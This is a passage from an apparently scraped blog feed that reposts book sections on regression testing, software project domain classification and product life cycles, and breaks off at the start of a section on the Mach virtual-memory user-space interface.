id="title-IDAO54ZO" class="docSection1Title"&gt;Have We Tested the Changes?&lt;/H3&gt;&lt;br /&gt;&lt;p class="docText"&gt;Throughout the lifecycle, the application changes. &lt;span class="docEmphasis"&gt;Regressions&lt;/span&gt; are bugs in the software under test that did not appear in previous versions. &lt;span class="docEmphasis"&gt;Regression testing&lt;/span&gt; is the term for testing a new version of the software to find those bugs. Almost all types of tests can be used as regression tests, but in keeping with the tenet of &amp;quot;Important problems fast,&amp;quot; your regression testing strategy must be very efficient.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;Ideally, you should test the most recent changes first. Not only does this mitigate the risk of unforeseen side effects of the changes, but also if you do find bugs and report them, the more recent changes are more current in everyone's memory.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;One of the challenges in most test teams is identifying what exactly the changes are. Fortunately, the daily build report shows you exactly what changesets have made it into the build and what work items (scenarios, QoS, tasks, and bugs) have been resolved, thereby identifying the functionality that should be tested first (see Figure 7.13). Moreover, if you have reasonable build verification tests (BVTs), then you can check their results and code coverage.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;/P&gt;&lt;p&gt;&lt;/p&gt;&lt;center&gt;&lt;br /&gt;&lt;br /&gt;&lt;H5 class="docFigureTitle"&gt;Figure 7.13. &lt;/H5&gt;&lt;br /&gt;&lt;H5&gt;&lt;/H5&gt;&lt;h5&gt;&lt;p class="docText"&gt;One of the many purposes of the daily build report is to focus testing activity on the newly built functionality. This list of work items resolved in the build is like an automatic release note, showing what new functionality needs to be tested.&lt;/P&gt;&lt;/H5&gt;&lt;/h5&gt;&lt;p class="docText"&gt;&lt;/p&gt;&lt;div class="v1"&gt;[View full size image]&lt;/div&gt;&lt;/p&gt;&lt;br /&gt;&lt;/center&gt;&lt;/p&gt;&lt;BR&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-7333832843740874384?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/7333832843740874384/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/have-we-tested-changes.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/7333832843740874384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/7333832843740874384'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/have-we-tested-changes.html' title='Have We Tested the Changes?'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-1798187567341669230</id><published>2009-11-13T07:50:00.037-08:00</published><updated>2009-11-13T07:50:40.125-08:00</updated><title type='text'>How Fool's Gold Pans Out</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;td class="tt1"&gt;[ Team LiB ]&lt;/td&gt;&lt;td valign="top" class="tt1" align="right"&gt;&lt;br /&gt;	&lt;br /&gt;	&lt;br /&gt;&lt;/td&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;H3 class="docSection1Title"&gt; How Fool's Gold Pans Out&lt;/H3&gt;&lt;br /&gt;&lt;P class="docText"&gt;In conclusion, we hold the following software truths to be self-evident (or evident after careful examination, anyway):&lt;/P&gt;&lt;br /&gt;&lt;UL&gt;&lt;LI&gt;&lt;P class="docList"&gt;The success of a software project depends on not writing source code too early in the project.&lt;/P&gt;&lt;/LI&gt;&lt;LI&gt;&lt;P class="docList"&gt;You can't trade defect count for cost or schedule unless you're working on life-critical systems. Focus on defect count; cost and schedule will follow.&lt;/P&gt;&lt;/LI&gt;&lt;LI&gt;&lt;P class="docList"&gt;Silver bullets are hazardous to a project's health, though software industry history suggests that vendors will continue to claim otherwise.&lt;/P&gt;&lt;/LI&gt;&lt;LI&gt;&lt;P class="docList"&gt;Half-hearted process improvement is an especially damaging kind of silver bullet because it undermines future improvement attempts.&lt;/P&gt;&lt;/LI&gt;&lt;LI&gt;&lt;P class="docList"&gt;Despite its name, software isn't soft, unless it's made that way in the first place, and making it soft is expensive.&lt;/P&gt;&lt;/LI&gt;&lt;/UL&gt;&lt;br /&gt;&lt;P class="docText"&gt;The software world has had 50 years to learn these lessons. The most successful people and organizations have taken them to heart. Learning to resist software's fool's gold consistently is one of the first steps the software industry needs to take on the road to creating a true profession of software engineering.&lt;/P&gt;&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;td&gt;&lt;/td&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;td class="tt1"&gt;[ Team LiB ]&lt;/td&gt;&lt;td valign="top" class="tt1" align="right"&gt;&lt;br /&gt;          &lt;br /&gt;          &lt;br /&gt;&lt;/td&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-1798187567341669230?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/1798187567341669230/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/how-fool-gold-pans-out.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/1798187567341669230'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/1798187567341669230'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/how-fool-gold-pans-out.html' title='How Fool&amp;#39;s Gold Pans Out'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-3505188709093913447</id><published>2009-11-13T07:50:00.035-08:00</published><updated>2009-11-13T07:50:38.501-08:00</updated><title type='text'>Defining the Process Domain</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#e6e6e6"&gt;&lt;br /&gt;&lt;td class="v2" align="left" width="30%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="v2" align="center" width="40%"&gt;&lt;br /&gt;&amp;nbsp;&amp;lt;&amp;nbsp;Free Open Study&amp;nbsp;&amp;gt;&amp;nbsp;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="v2" align="right" width="30%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;H3 class="docSection1Title"&gt; Defining the Process Domain&lt;/H3&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Domain processes are the interrelated activities that are specific to the functioning of the organization for which a software project is developed. The first step is to determine the domain in which the product will eventually be used. For all domain analysis, the critical point of view is that of the ultimate end-user. Valid analyses and evaluations of options must be done from this view. If there is no "real" customer available, then we must rely on a secondary "voice of the customer." This is usually someone from the marketing organization. Even when a matrix is viewed from the "developer's" perspective, the customer is ever present.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;The measure of quality for a software project is based on how well the software solves specific domain-related problems. For the software customer, the view is from his business domain, not that of a computer scientist or software engineer. For this reason, to deliver quality software, the project manager must understand the domain for which the software solves specific needs. For software product development, there are six classes of product domains:&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold"&gt;&lt;OL class="docList" TYPE="1"&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;Consumer&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;Business&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;Industrial&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;Real-time&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;Really timely&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;Scientific&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;/OL&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Individuals buy &lt;span class="docEmphasis"&gt;consumer&lt;/span&gt; products for personal use. This use could be at home, while traveling, or at work. The key here is that the consumer market is a mass market and is usually addressing a price-sensitive purchaser. Examples of consumer products utilizing software are cellular phones, automobiles, televisions, personal computers, and personal digital assistants.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;The majority of software products are targeted at the &lt;span class="docEmphasis"&gt;business&lt;/span&gt; product domain. Here the key is providing a cost-effective product to the business customer that will improve overall business profits. These products are usually expensive compared to consumer products and have maintenance, service, and installation services available as a necessary part of the product. Examples of these types of products are database tools such as Oracle&amp;#8482;, enterprise resource planning products such as PeopleSoft&amp;#8482;, development tool suites such as WebSphere&amp;#8482; and VisualAge&amp;#8482;, and operating systems such as Solaris&amp;#8482;.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;span class="docEmphasis"&gt;Industrial&lt;/span&gt; products are a specific subclass of business products. These are software tools that are purchased for the specific purposes of machine automation, factory automation and integration, and embedded control software. These are special-purpose and usually focused on a specific industry such as automotive, food processing, and semiconductor fabrication. This domain has the highest percentage of product customization and integration with legacy systems. Examples of these products are factory automation software from FactoryWorks&amp;#8482;, embedded development systems from Wind River, and process modeling tools such as Hewlett-Packard's Vee&amp;#8482;.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;span class="docEmphasis"&gt;Real-time&lt;/span&gt; products are used to control processes that have a defined and finite time budget. Real-time systems are used for data collection of events that last less than a microsecond. Real-time products control embedded medical devices such as pacemakers, where information must literally be processed between heartbeats. These products also work in the interface between the collection of analog data such as voice or music and its conversion to digital data that can be stored on a magnetic disk or CD-ROM. All real-time software is written specifically for the target hardware on which it executes.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;span class="docEmphasis"&gt;Really timely&lt;/span&gt;, as opposed to real-time, software products must execute within a time budget that does not irritate the end user. Examples of this are the software that runs ATM machines and does credit card verification while ordering over the Internet. Most really timely software products are a part of either business or industrial software products. They are broken out as a subclass because of the potential for causing customer irritability if they do not function effectively.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;span class="docEmphasis"&gt;Scientific&lt;/span&gt; products simulate real-world activities using mathematics. Real-world objects are turned into mathematical models. Executing formulas simulates the actions of the real-world objects. For example, some of an airplane's flight characteristics can be simulated in the computer. Rivers, lakes, and mountains can be simulated. Virtually any object with known characteristics can be modeled and simulated. Simulations use enormous calculations and often require supercomputer speed. As personal computers become more powerful, more laboratory experiments will be converted into computer models that can be interactively examined by students without the risk and cost of the actual experiments. Members of this product domain are Matlib&amp;#8482; for large mathematical formula development, Analytica&amp;#8482; for developing large-scale business models, and Expert Choice for developing large-scale decision support systems. Scientific software products are usually special-purpose tool kits for problem solving.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;The question now arises, "What about the government market?" For the six classes of software product domains as defined, all of them could be "government" customers. Where the separation of government from private customers comes into play is in the areas of business plans, legal concerns, contracting, and risk analysis.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Four classes of product systems look at ways that the software product will be built and delivered from the developer's perspective. These four have different product development plans and life cycles. Although all product development is an iterative process, in the real business world there is usually an existing product portfolio. During the conceptual stage, the project manager will have worked on the product concept and selected a preliminary life cycle. That earlier work influences the selection of one or more of these product system classes:&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold"&gt;&lt;OL class="docList" TYPE="1"&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;New software product&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;Re-engineering of existing product&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;Component integration&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;Heroic maintenance&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;/OL&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;A &lt;span class="docEmphasis"&gt;new software product&lt;/span&gt; starts with a set of requirements and moves through its development life cycle to delivery. It will use some sort of development tools and possibly object libraries, where appropriate. This is building a truly new software product for taking advantage of a new technology such as the Internet or using a new set of programming tools such as Java. It may also be a new market opportunity because of changes in government regulations such as telecommunications or banking deregulation.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;span class="docEmphasis"&gt;Re-engineering existing product&lt;/span&gt; is simply that. This product already exists in a form that may use outmoded software technology or be hosted on obsolete hardware. An example would be a DOS-based data collection system that would be re-engineered to run on Linux.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Taking available commercial-off-the-shelf (COTS) products and integrating them into a product is &lt;span class="docEmphasis"&gt;component integration&lt;/span&gt;. An example of this type of product is taking an available embedded database tool along with a script-generation tool and a graphical user interface (GUI) generator to produce a new product that is used for integrating factory equipment into the overall manufacturing execution system.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;span class="docEmphasis"&gt;Heroic maintenance&lt;/span&gt; occurs when a company wants to wring the last bit of revenue out of an existing software product that has been passed over for re-engineering. Software product companies take great care in the management and timing of the releases of new capabilities within their product portfolios. When completely new products or massively re-engineered products are released, there is always a potential to cannibalize existing customer sales instead of having new customers buy the new product. Timing decisions may result in the delay of the newest product and the release of the old product with heroic work done to dress it up in new clothes. An example of this is once again our DOS system: Instead of re-engineering the entire system, the command-line interface was replaced with a pseudo-GUI. This is known in the software industry as "same dog, new collar!"&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;The first matrix to be developed by the project manager involves identifying the product domain type, illustrated in Figure 5-3. This product domain type resides at the intersection of the six product domain classes and the product type classes. A software product can be defined to exist in multiple cells on this matrix. For example, suppose that there is a new, Web-based software product for registering personal DVD movies in a trading club in which points are earned to borrow (or a small fee is paid, if points are insufficient). This product would "live" in the consumer and really timely product domain classes as both a new software product and component integration. Although the concept of the product is new and new software would be developed, there are many libraries of components available for use. This example is represented in the matrix with an X in the relevant cell.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;CENTER&gt;&lt;H5 class="docFigureTitle"&gt;Figure 5-3. Step 1�Identify the Product Domain Type&lt;/H5&gt;&lt;p class="docText"&gt;&lt;/p&gt;&lt;/CENTER&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Another example product is an enhancement to an existing factory-integration product to take information from past process steps and determine the optimum process for the product through the factory based on past production yield information and customer orders. We can tell immediately that this will be re-engineering an existing product, but some new software also will be developed. This product may touch four of the product domain classes: business, industrial, real-time, and scientific. Business could be touched because of accessing historic information on production yields. Industrial and real-time apply because it will be operating on factory automation equipment. The scientific piece comes in with the optimization algorithms necessary for determining the best individual product flow through the factory. This example is represented in the matrix with an O in the relevant cell.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;The third part of defining the process domain is the product component classes. This set of classes is also viewed from the perspective of the end-user. There are six members of the class, and the key question to ask is, "What does the customer expect to have delivered?" The software development project manager must discover whether the end-user has a product expectation. Six product component classes exist:&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold"&gt;&lt;OL class="docList" TYPE="1"&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;Software&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;Hardware&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;People&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;Database&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;Documentation&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;Procedures&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;/OL&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;If a project is to develop a "pure" software product, the end-user has an expectation that he will get an installation set of media or an access key to a remote site to download the product. This is the way most consumer software is purchased�the only items received are the media or a digital file.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Many products are turnkey: The developed software is hosted on hardware. Buying a cellular phone usually dictates the software running within the hardware. Although the software is a critical system component, the customer purchases the hardware.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;People are a critical part of many software products. Enterprise-wide software systems used for financial management, factory control, and product development may require consulting services to be "purchased" along with the software to aid in product installation, integration, and adoption into a specific environment.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Database products, although most definitely software, are separated as a distinct class because of the expectations that accompany the purchase of this class of complex software. A database product is usually purchased as a separate, general-purpose tool kit to be used as an adjunct to all of a company's other information systems. More "software" products are delivered with an embedded database package within the product. It is important for the customer to realize that he is purchasing not only the "new" software, but also a database product.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Documentation is almost always a part of the product. In some cases, it may be books and manuals purchased as a "shrink-wrapped," off-the-shelf software product. Many complex enterprise software products have third-party authors writing usage and tips books sold through commercial bookstores. If downloaded, the digital files may include a "readme" file and possibly complete soft copy documentation. Acquiring software from some sources such as SourceForge (www.SourceForge.com) may provide no documentation other that the software's source code.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Procedures or business rules are a final component class. In situations in which the customer is buying systems and software used for decision support, equipment control, and component integration, it is important for the customer to understand the procedure deliverables. Usually the custom development of the business rules for an organization are done by either the organization itself or consultants hired from the software company. This can be a very gray area, and it is important that the project manager understand all of the project deliverables early in the development life cycle, especially those that can cause customer dissatisfaction and demonstrate a lack of quality.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Now that the third set of domain classes has been defined, the project manager can fill out the last two matrices. The next one to complete is the identification of the critical product components, shown in Figure 5-4. This matrix is a table of the product component classes matched with the classes of product systems. This matrix provides us with the deliverables for the defined product based on whether it is new software, re-engineered software, a component integration product, or the heroic maintenance of a legacy product within the company's portfolio. Remember, the Web example is the X and the factory integration is the O.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;CENTER&gt;&lt;H5 class="docFigureTitle"&gt;Figure 5-4. Step 2�Identify Critical Product Components&lt;/H5&gt;&lt;p class="docText"&gt;&lt;/p&gt;&lt;/CENTER&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;For example, our Web-based software product for registering personal DVD movies was determined to be both a new software product and component integration. The critical product components for this product are software and documentation. It is Web-based and runs from a browser running on the customer's personal hardware. The customer will see no database, people, or procedures. The only documentation may be the instructions on the Web page itself.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Our other example product, an enhancement to an existing factory integration product, involves re-engineering an existing product and some new software development. Based on how the product is to be marketed, the customer will see all the component classes except hardware. He will expect software to be delivered along with a field applications engineer to do the installation and acceptance testing within the customer's factory. The customer will also expect a database to keep the real-time product status and yield information along with the procedures for running the optimization algorithms. Documentation will be critical to both a company's engineers doing the installation and the customers after the product is accepted.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;The third matrix that the project manager produces to define the domain is to link the product domains to the delivered components. This matrix shown in Figure 5-5 is a table of the product component classes matched with the product domain classes. This matrix provides us with the deliverables for the defined product based on whether it is going to be installed into a consumer, business, industrial, real-time, really timely, or scientific domain.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;CENTER&gt;&lt;H5 class="docFigureTitle"&gt;Figure 5-5. Step 3�Link Product Domains with Components&lt;/H5&gt;&lt;p class="docText"&gt;&lt;/p&gt;&lt;/CENTER&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Using our two examples, the Web-based software product for registering personal DVD movies in a trading club would "live" in the consumer and really timely product domain classes. The deliverables would be software and documentation. The second example, an enhancement to an existing factory integration product, touches four of the product domain classes: business, industrial, real-time, and scientific. The deliverable components are software, people, database, documentation, and procedures.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Chapter 4, "Selecting Software Development Life Cycles," provided the descriptions of commonly used software development life cycles and the selection criteria for each. When compared to the overall company versus product life cycles, the software development life cycle is assumed within the acquisition phase of the product life cycle. Figure 5-1 shows this.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;A project manager must understand the relationship within his organization of software development within product life cycles. A typical product development life cycle begins with a development or acquisition phase during which the product is built or acquired. Figure 5-6 represents the product development phase. The project manager works hand in hand with the product manager to plan for the manufacturing of the product. This phase is the production ramp. Investment is made on the infrastructure for product manufacturing, and first products are built. After the production ramp, the software portion of the product is out of the hands of the software project manager, except for problem fixes.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;CENTER&gt;&lt;H5 class="docFigureTitle"&gt;Figure 5-6. Software Development Life Cycle&lt;/H5&gt;&lt;p class="docText"&gt;&lt;/p&gt;&lt;/CENTER&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Figure 5-7 shows the entire product life cycle plotted in months versus thousands of dollars invested. The dollars of investment on the left side of the graph and below the zero line is the estimated investment in the product. The dollars above the zero line are the estimated revenue dollars that the product will earn. This type of information is usually developed by marketing and is a critical part of the return on investment that the product will make.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;CENTER&gt;&lt;H5 class="docFigureTitle"&gt;Figure 5-7. Software Product Life Cycle&lt;/H5&gt;&lt;p class="docText"&gt;&lt;/p&gt;&lt;/CENTER&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Finally, the relationship between the development and product life cycles is graphically represented in Figure 5-8. This relationship is critical to keep in mind as the project manager works through the product development process. In the product world, the product life cycle drives decisions and investment. Only the investment part of the software development life cycle is important to product managers planning product portfolios.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;CENTER&gt;&lt;H5 class="docFigureTitle"&gt;Figure 5-8. Software Product and Development Life Cycles&lt;/H5&gt;&lt;p class="docText"&gt;&lt;/p&gt;&lt;/CENTER&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#e6e6e6"&gt;&lt;br /&gt;&lt;td class="v2" align="left" width="30%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="v2" align="center" width="40%"&gt;&lt;br /&gt;&amp;nbsp;&amp;lt;&amp;nbsp;Free Open Study&amp;nbsp;&amp;gt;&amp;nbsp;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="v2" align="right" width="30%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-3505188709093913447?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/3505188709093913447/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/defining-process-domain.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/3505188709093913447'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/3505188709093913447'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/defining-process-domain.html' title='Defining the Process Domain'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-3130875810351911183</id><published>2009-11-13T07:50:00.033-08:00</published><updated>2009-11-13T07:50:35.951-08:00</updated><title type='text'>Section 8.6.  The Mach VM User-Space Interface</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;TR&gt;&lt;TD valign="top"&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3 id="title-IDA2ULLD" class="docSection1Title"&gt;8.6. The Mach VM User-Space Interface&lt;/h3&gt;&lt;br /&gt;&lt;p class="docText"&gt;Mach provides a powerful set of routines to user programs for manipulating task address spaces. Given the appropriate privileges, a task can perform operations on another task's address space identically to its own. All routines in the Mach VM user interface require the target task as an argument.&lt;sup class="docFootnote"&gt;[12]&lt;/sup&gt; Therefore, the routines are uniform in how they are used, regardless of whether the target task is the caller's own task or another.&lt;/p&gt;&lt;blockquote&gt;&lt;p class="docFootnote"&gt;&lt;sup&gt;[12]&lt;/sup&gt; Specifically, the target task is a send right to the control port of the target task.&lt;/p&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;p class="docText"&gt;Since user address spaces have a one-to-one mapping with user tasks, there are no explicit routines to create or destroy an address space. When the first task (the kernel task) is created, the &lt;tt&gt;map&lt;/tt&gt; field of its &lt;tt&gt;task&lt;/tt&gt; structure is set to refer to the kernel map (&lt;tt&gt;kernel_map&lt;/tt&gt;), which is created by &lt;tt&gt;kmem_init()&lt;/tt&gt; [&lt;tt&gt;osfmk/vm/vm_kern.c&lt;/tt&gt;] during VM subsystem initialization. For subsequent tasks, a virtual address space is created with the task and destroyed along with the task. We saw in Chapter 6 that the &lt;tt&gt;task_create()&lt;/tt&gt; call takes a prototype task and an address space inheritance indicator as arguments. The initial contents of a newly created task's address map are determined from these arguments. In particular, the inheritance properties of the prototype task's address map determine which portions, if any, are inherited by the child task.&lt;/p&gt;&lt;br /&gt;&lt;div class="docText"&gt;&lt;pre&gt;&lt;span class="docEmphStrong"&gt;// osfmk/kern/task.c&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;kern_return_t&lt;br 